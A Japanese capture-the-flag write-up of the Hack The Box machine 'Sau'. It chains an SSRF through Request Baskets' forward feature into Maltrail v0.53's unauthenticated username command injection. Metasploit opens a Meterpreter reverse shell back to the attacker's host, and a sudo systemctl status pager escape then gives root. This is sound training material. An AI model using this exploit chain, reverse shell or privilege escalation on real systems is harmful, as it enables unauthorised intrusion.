Hack The BoxのSAUのWriteup記事となります。
難易度3.0のLinuxマシンを攻略する過程を読んでみてください。
前回の攻略
今回のマシン情報
OS Linux
難易度 Easy 3.0
リリース日 2023/7/8
ポート探索
Nmap ⇒ 22/55555
80と8338ポートがfilteredというステータスになっています。
どちらのポートもWebブラウザでアクセスできませんでした。
55555ではシェル取得はできず、55555を踏み台に80や8338へいく感じも考えられます。
$ nmap -sCV -A -v -p- --min-rate 5000 10.10.11.224 -oN nmap_result.txt -Pn
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 aa:88:67:d7:13:3d:08:3a:8a:ce:9d:c4:dd:f3:e1:ed (RSA)
| 256 ec:2e:b1:05:87:2a:0c:7d:b1:49:87:64:95:dc:8a:21 (ECDSA)
|_ 256 b3:0c:47:fb:a2:f2:12:cc:ce:0b:58:82:0e:50:43:36 (ED25519)
80/tcp filtered http
8338/tcp filtered unknown
55555/tcp open unknown
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| X-Content-Type-Options: nosniff
| Date: Mon, 17 Feb 2025 04:04:21 GMT
| Content-Length: 75
| invalid basket name; the name does not match pattern: ^[wd-_\.]{1,250}$
| GenericLines, Help, Kerberos, LDAPSearchReq, LPDString, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 302 Found
| Content-Type: text/html; charset=utf-8
| Location: /web
| Date: Mon, 17 Feb 2025 04:03:40 GMT
| Content-Length: 27
| href="/web">Found</a>.
| HTTPOptions:
| HTTP/1.0 200 OK
| Allow: GET, OPTIONS
| Date: Mon, 17 Feb 2025 04:03:43 GMT
|_ Content-Length: 0
試しにNmapでSYNスキャンをしてみましたが、応答なしでした。
$ sudo nmap -sS -p 80,8338 --reason 10.10.11.224
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-17 13:15 JST
Nmap scan report for 10.10.11.224
Host is up, received echo-reply ttl 63 (0.23s latency).
PORT STATE SERVICE REASON
80/tcp filtered http no-response
8338/tcp filtered unknown no-response
Nmap done: 1 IP address (1 host up) scanned in 3.81 seconds
55555探索
Web画面アクセス ⇒ Request Baskets 1.2.1
ポート55555をWeb画面で開くとRequestBaskets1.2.1の画面が開きました。

【試行】Request Basketsで何ができるのか? ⇒ forwardできそう
Request Basketsでは一時的なエンドポイント(バスケット)を作成し、外部からのリクエストを受け取ることができるようです。
使い方
1.Request Basketsのサービス上で新しいバスケット(エンドポイント)を作成する。
2.そのエンドポイントURLを、Webhookや外部APIの送信先として設定する。
3.実際にリクエストを送信し、Request Baskets上で内容を確認する。
新しいバスケット(エンドポイント)を作成
表示されているエンドポイントのまま作成してみます。

作成に成功し、トークンが発行されました。

作成時のHTTPリクエストとレスポンス
POST /api/baskets/amm6qor HTTP/1.1
Host: 10.10.11.224:55555
Content-Length: 0
Authorization: null
X-Requested-With: XMLHttpRequest
Accept-Language: ja
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36
Origin: http://10.10.11.224:55555
Referer: http://10.10.11.224:55555/web
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
--------------------------------------------------------------------------------------
HTTP/1.1 201 Created
Content-Type: application/json; charset=UTF-8
Date: Mon, 17 Feb 2025 23:56:33 GMT
Content-Length: 56
{"token":"vNf_VHutcMdwkRUIUd5-qvdSX9W0YZ3rVo0J6SZoaMuM"}
作成直後のBasketsを確認する
作成したBasketsのURLが「http://IP:55555/basket名」なのでアクセスしてみます。

GET /web/amm6qor HTTP/1.1
Host: 10.10.11.224:55555
Accept-Language: ja
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://10.10.11.224:55555/web
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
アクセスしてみると真っ白の画面が表示されました。

GET /amm6qor HTTP/1.1
Host: 10.10.11.224:55555
Accept-Language: ja
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
---------------------------------------------------------------------------------------
HTTP/1.1 200 OK
Date: Tue, 18 Feb 2025 00:06:27 GMT
Content-Length: 0
/web/basketIDの方で見てみるとアクセスのログが見れます。

設定を変更してみる
画面に設定ボタンがあるので開いてみるとリクエストを転送できる設定があります。

1. Forward URL
- ここにURLを入力すると、受信したリクエストをそのURLに転送します(リバースプロキシのような動作)。
- 例えば、
http://example.com/webhook
を設定すると、Request Basketsが受け取ったリクエストはすべてhttp://example.com/webhook
に送信されます。2. Proxy Response (デフォルトOFF)
- OFF(デフォルト) の場合:
Request Baskets
はリクエストを記録しつつ、デフォルトの固定レスポンス(200 OK など)を返します。- ON にすると:
- 転送先(Forward URL)のレスポンスをそのままクライアントに返します。
- 例えば、
Forward URL
で設定したhttp://example.com/webhook
がHTTP 201 Created
を返した場合、それがそのままクライアントに伝わります。3. Expand Forward Path (デフォルトOFF)
chatGPT
- OFF(デフォルト) の場合:
Forward URL
で設定したアドレスに対して、そのままリクエストを転送します。- 例えば、クライアントが
/test
にリクエストを送ると、Forward URL
にhttp://example.com/webhook
を設定している場合、転送されるのはhttp://example.com/webhook
です。- ON にすると:
- クライアントのリクエストパスが
Forward URL
に追加されます。- 例えば、
Forward URL = http://example.com/webhook
で、クライアントが/test
にリクエストを送ると、実際に転送されるのはhttp://example.com/webhook/test
になります。
80にforwardするように変更してみます。

80へforward
80にアクセスしてわかること
1.4つのメニューがある
2.Log In以外のメニューはgithubのmaltrailへのリンクになっている
3.Log Inはリンクが切れていて見れない
4.maltrailのVersionは0.53

Maltrailはオープンソースのネットワーク脅威検出システムです。
Maltrailの概要
- 目的: ネットワークトラフィックを監視し、既知の悪意のあるトラフィック(マルウェア、ボットネット、C2通信など)や、異常なトラフィックを検出する。
- 特徴:
- 軽量・簡単に導入可能(Python製)
- シグネチャベース & 挙動ベースの検出
- リアルタイムWebインターフェースで可視化
- 既存の脅威インテリジェンスフィードを活用
- Linux環境で動作(主にPythonとPCAPベース)
動作原理
sensor.py
がトラフィックをキャプチャし、IP/ドメインのリストと照合。server.py
がWeb UIを提供し、結果を可視化。trails
(脅威インテリジェンスリスト)が定期更新され、脅威データと照合。用途
chatGPT
- 企業ネットワークの監視
- SOC/CSIRTでの活用
- 個人のホームラボやCTF環境
- ペンテストやレッドチーム活動の防御側
8338へforward
今度は8338ポートを見てみます。

表示されたのは80と同じ画面です。

80探索
Maltrail v0.53 の脆弱性確認 ⇒ command injection vulnerability
rapid7に記載されていた内容の日本語訳によるとusernameパラメータにOSコマンドを挿入して実行されるようです。
rapid7はこの脆弱性に対するPOCをmsfで提供しています。
msfを利用しますがソースコードが公開されているのでまずは中身を見て利用したいと思います。
Maltrail は悪意のあるトラフィック検出システムであり、悪意のあるトレイルや一般に疑わしいトレイルを含む、公開されているブラックリストを利用します。https://www.rapid7.com/db/modules/exploit/unix/http/maltrail_rce/
Maltrail バージョン 0.54 未満には、コマンド インジェクションの脆弱性があります。 「mailtrail/core/http.py」の「subprocess.check_output」関数には、「params.get("username")」パラメータにコマンド インジェクションの脆弱性が含まれています。
攻撃者は、USERNAMEパラメータに任意の OS コマンドを挿入することで、この脆弱性を悪用する可能性があります。
挿入されたコマンドは、実行中のプロセスの権限で実行されます。
この脆弱性は、認証なしでリモートから悪用される可能性があります。
Maltrail バージョン 0.52 および 0.53 に対して正常にテストされました。
HTTPリクエスト

metasploit-framework/blob/master//modules/exploits/unix/http/maltrail_rce.rb
url にはlogin
method はPOST
ctype は application/x-www-form-urlencoded
data は
・usernameを;で区切った後にOSコマンドを記載している
・実行したいOSコマンドはbase64にエンコードしている

execute_commandの引数にしていたcmdにはリバースシェルが設定されているようです。
Exploit
実行手順
①request basketsの設定変更
②msfを実行する
request basketsの設定変更
request basketsに作成したエンドポイントの設定で「Expand Forward Path」にチェックを入れるようにします。
この変更によりmsfから「http://10.10.11.224:55555/rvee0ju/login」のようにエンドポイントにloginをつけて実行したときに「http://127.0.0.1:80/login」へForwardしてくれるようになります。

MSFを実行 ⇒ 成功
まずは起動します。
$ msfconsole
Metasploit tip: Use the resource command to run commands from a file
______________________________________________________________________________
| |
| 3Kom SuperHack II Logon |
|______________________________________________________________________________|
| |
| |
| |
| User Name: [ security ] |
| |
| Password: [ ] |
| |
| |
| |
| [ OK ] |
|______________________________________________________________________________|
| |
| https://metasploit.com |
|______________________________________________________________________________|
=[ metasploit v6.4.30-dev ]
+ -- --=[ 2458 exploits - 1264 auxiliary - 430 post ]
+ -- --=[ 1471 payloads - 49 encoders - 11 nops ]
+ -- --=[ 9 evasion ]
Metasploit Documentation: https://docs.metasploit.com/
MaltrailのPOCを探します。
msf6 > search maltrail
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/unix/http/maltrail_rce 2023-07-31 excellent Yes Maltrail Unauthenticated Command Injection
1 \_ target: Unix Command . . . .
2 \_ target: Linux Dropper . . . .
msf6 > use 0
[*] Using configured payload cmd/unix/python/meterpreter/reverse_tcp
オプションを確認します。
Module options (exploit/unix/http/maltrail_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/usi
ng-metasploit/basics/using-metasploit.html
RPORT 8338 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly genera
ted)
TARGETURI / yes The URI of the Maltrail server
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be
an address on the local machine or 0.0.0.0 to listen on all a
ddresses.
SRVPORT 8080 yes The local port to listen on.
Payload options (cmd/unix/python/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
オプションを設定します。
msf6 exploit(unix/http/maltrail_rce) > set RHOSTS 10.10.11.224
RHOSTS => 10.10.11.224
msf6 exploit(unix/http/maltrail_rce) > set RPORT 55555
RPORT => 55555
msf6 exploit(unix/http/maltrail_rce) > set TARGETURI /rvee0ju
TARGETURI => /rvee0ju
msf6 exploit(unix/http/maltrail_rce) > set LHOST 10.10.16.2
LHOST => 10.10.16.2
実行します。
成功しました。
msf6 exploit(unix/http/maltrail_rce) > exploit
[*] Started reverse TCP handler on 10.10.16.2:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Version Detected: 0.53
[*] Executing Unix Command...
[*] Sending stage (24772 bytes) to 10.10.11.224
[*] Meterpreter session 1 opened (10.10.16.2:4444 -> 10.10.11.224:60278) at 2025-02-20 20:24:39 +0900
meterpreter > shell
Process 1498 created.
Channel 1 created.
id
uid=1001(puma) gid=1001(puma) groups=1001(puma)
ttyを設定します。
python3 -c 'import pty; pty.spawn("/bin/bash")'
puma@sau:/opt/maltrail$
user.txt
puma@sau:/opt/maltrail$ cd /home
puma@sau:/home$ cd puma
puma@sau:~$ cat user.txt
Privilege Escalation
sudo -l
systemctl statusを使うことでroot権限への昇格ができるかもしれません。
sudo -l
Matching Defaults entries for puma on sau:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User puma may run the following commands on sau:
(ALL : ALL) NOPASSWD: /usr/bin/systemctl status trail.service
脆弱性確認
systemdにCVE-2023-26604という脆弱性があることがわかりました。

sudo /usr/bin/systemctl status trail.service
WARNING: terminal is not fully functional
- (press RETURN)!/bin/bash
!//bbiinn//bbaasshh!/bin/bash
root@sau:/home/puma# id
id
uid=0(root) gid=0(root) groups=0(root)
root@sau:/home/puma#
root.txt
root@sau:/home/puma# cat /root/root.txt
脆弱性の詳細確認
これでマシン攻略は終わりますが、root権限を取得した状態でsauに入っているMaltrail v0.53の脆弱性について調べましたのでよろしければこちらも合わせてお読みください。
次回のマシン情報
難易度3.Xのマシン一覧はこちらにあります。